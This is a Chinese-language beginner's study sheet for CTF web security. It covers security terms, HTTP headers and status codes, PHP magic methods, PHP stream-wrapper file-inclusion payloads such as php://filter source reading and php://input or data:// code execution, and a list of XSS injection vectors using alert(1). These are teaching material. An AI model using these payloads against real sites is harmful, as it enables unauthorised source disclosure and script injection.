上联:为系统而生,为框架而死,为debug奋斗一辈子 下联:吃符号的亏,上大小写的当,最后死在需求上! 横批:悲剧程序员

常见名词

  • 渗透测试 (penetration test)是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种 评估方法

  • 域名

    1. 顶级域名: 又叫一级域名, 一串字符串中间一个点隔开,例如baidu.com, 顶级域名是互联网DNS等级之中的最高级的域, 它保存于DNS根域的名字空间中。
    2. 二级域名: 实际上就是一个一级域名以下的主机名, 一串字符串中间两个“.”隔开, 例如www.baidu.com二级域名就是最靠近顶级域名左侧的字段
    3. 三级域名: 二级域名的子域名, 特征是包含三个“.”,例如___.___.baidu.com
  • DNS: 域名系统,IP记起来总是不那么方便, 就采用了域名系统来管理名字和IP的对应关系

  • DDOS 分布式拒绝服务攻击, 目的是使服务器无法处理请求崩溃

  • DNS缓存中毒 给DNS服务器注入非法网络域名地址, 当这些非法地址进入服务器缓存, 用户的浏览器或者邮件服务器就会自动跳转到DNS指定的地址

  • DNS劫持 攻击域名解析服务器, 或伪造域名解析服务器的方法把目标网站域名解析到错误的地址, 从而实现用户无法访问目标网站的目的

  • ARP欺骗 通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞

  • POC: 全称 ’ Proof of Concept ',常指一段漏洞证明的代码。

  • EXP: 全称 ’ Exploit ',指利用系统漏洞进行攻击的动作。

  • Payload: "有效载荷 ",指成功exploit之后,真正在目标系统执行的代码或指令。

  • 肉鸡: 被黑客入侵并被长期驻扎的计算机或服务器

  • 后门/ webshell: 黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个"入口"

  • 木马: 表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统信息和权限

  • 漏洞: 硬件、软件、协议等等的可利用安全缺陷,可能被攻击者利用,对数据进行篡改,控制等

  • 提权: 操作系统低权限的账户将自己提升为管理员权限使用的方法

  • 跳板: 使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息

  • 反弹shell,C段入侵,旁站入侵,ATT&CK等

HTTP协议

http与https区别

  • HTTPS是HTTP协议的安全版本,HTTP协议的数据传输是明文的,是不安全的,HTTPS使用了SSL/TLS协议进行了加密处理。
  • https更安全,所耗费资源也越高
  • HTTPS连接缓存不如HTTP高效,会增加数据开销和功耗;
  • 申请SSL证书需要钱,功能越强大的证书费用越高。

首部字段

请求首部字段, 实体首部字段, 通用首部字段, 响应首部字段 这个出现在修改请求包的题, 只列出常见部分

响应:
Location: 令客户端重定向至指定URI(与请求URL位置不同)
Server: HTTP服务器的安装信息(服务器应用程序)

通用:
Cache-Control: 控制缓存的行为(缓存的工作机制)
Connection: 逐跳首部、连接的管理(控制不再转发给代理的首部字段;管理持久连接)
Date: 创建报文的日期时间
Via: 代理服务器的相关信息(追踪客户端域服务器之间的请求和响应报文的传输路径报文经过代理或网关的时候会在Via中附加该服务器的信息.可能会拿来出题)

实体:
Allow: 通知客户端可支持的HTTP方法(自报家门help,收到不支持的http方法时返回405)
Content-Type: 实体主体的媒体类型,字段值用type/subtype赋值
Content-Length: 实体主体的大小(单位∶字节)

请求:
Accept: 用户代理可处理的媒体类型及媒体类型的相对优先级,可使用type/subtype这种形式,一次指定多种媒体类型。
Accept-Language: 告知服务器用户代理能够处理的自然语言集(指中文或英文等),以及自然语言集的相对优先级,可一次指定多种自然语言集
Authorization: Web认证信息,用来告知服务器,用户代理的认证信息
Host: 请求资源所在服务器,首部字段Host会告知服务器,请求的资源所处的互联网主机名和端口号(必须被包 含在请求内)
Referer: 对请求中URI的原始获取方,Referer会告知服务器请求的原始资源的URI
User-Agent: HTTP客户端程序的信息,将创建请求的浏览器和用户代理名称等信息传达给服务器

HTTP常见状态码

只有五类

  • 1xx 提供信息。
  • 2xx 请求被成功提交。
  • 3xx 客户端被重定向到其他资源。
  • 4xx 请求包含某种错误。
  • 5xx 服务器执行请求时遇到错误。
200 OK
请求被正常处理了

301 MOVED Permanently
永久性重定向,应使用新的URI

302 Found
临时性重定向,希望用户(本次)能使用新的URI访问

304 Not Modified
客户端发送附带条件的请求时,服务器端允许请求访问资源, 未满足则不说话

400 Bad Request
表示请求报文中存在语法错误

401 Unauthorized
发送的请求需要有通过HTP认证的认证信息。若之前已请求过,则表示用户认证失效

403 Forbidden
访问被服务器拒绝了

404 Not Found
表明服务器上找不到

500 Internal Server Error
执行请求时发生了错误,也有可能是Web应用存在的bug或某些临时的故障.

503 Service Unavailable
服务器暂时处于超负载或者正在进行停机维护,现在无法处理请求

程序语言

你应该上菜鸟继续您的学习 HTML, PHP, JavaScript, 只需要能看得懂和记住重要函数即可

下面是你经常会看到的php方法:

// 常用方法
strlen( ) // 检查字符串长度
strpos( ) // 检索指定文本或字符
strcmp( ) / strcasecmp( ) / strncmp( ) // 字符串比较
strstr( ) / stristr( ) // 查找替换
intval( ) // 获取变量的整数值
is_numeric( ) // 检测指定的变量是否为数字或数字字符串
isset( ) // 检测变量是否已设置并且非NULL
mt_srand(seed) // 以seed作为随机数生成的种子

// 魔术方法
__invoke() // 当尝试以调用函数的方式调用对象的时候,就会调用该方法

__construst() // 具有构造函数的类在创建新对象的时候,回调此方法

__destruct() // 反序列化的时候,或者对象销毁的时候调用

__wakeup() // 反序列化的时候调用

__sleep() //序列化的时候调用

__toString()
// 把类当成字符串的时候调用,一般在echo处生效
// (对一个对象进行 echo 操作或者 print 操作, 变量赋值为对象后与字符串做弱类型比较的时候, 变量赋值为对象后进行正则匹配的时候, 变量被赋值为对象后进行 strolower 的时候)

__set() // 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__get() // 读取不可访问或者不存在的属性的时候,进行赋值

__call() // 在对象中调用一个不可访问的方法的时候,会被执行

MySQL

了解数据库的结构, 应用于 sql 注入

PHP伪协议

协议 allow_url_fopen allow_url_include 用法 用途
php://filter off/on off/on ?file=php://filter/read=convert.base64-encode/resource=./index.php 用于读取这个php文件源码内容
php://input off/on on ?file=php://input,post数据: 访问请求的原始数据的只读流,将post请求的数据当作php代码执行
zip:// off/on off/on ?file=zip://file.zip%23phpinfo.txt 访问压缩文件中的子文件,子文件可修改为任意后缀依然会被当作php执行
data:// on on ?file=data:text/plain; 以传递相应格式的数据用来执行PHP代码
file:/ off/on off/on ?file=file:/lC:phpinfo.txt 用于访问本地文件系统

data://的其他应用格式:

?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo
?file=data://text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件; allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;

XSS攻击可用标签

常见的可以进行插入的, 自动触发js代码的标签(部分):

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script>
<script>alert("xss");</script>

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

<input> 标签规定了用户可以在其中输入数据的输入字段。

对象获得焦点时发生:
<input onfocus=alert(1);>
对象失去焦点时
<input onblur=alert(1) autofocus><input autofocus>

无需用户去触发:
<input onfocus="alert(1);" autofocus>

" οnclick=alert(1)> 需要点击一下输入框
" onmouseover=alert(1)> 需要鼠标划过输入框

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open ontoggle=alert(1);>

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。 <svg onload=alert(1);>

<iframe> 标签会创建包含另外一个文档的内联框架。 <iframe onload=alert(1);></iframe>

<body> 标签定义文档的主体。 <body onload=alert(1);>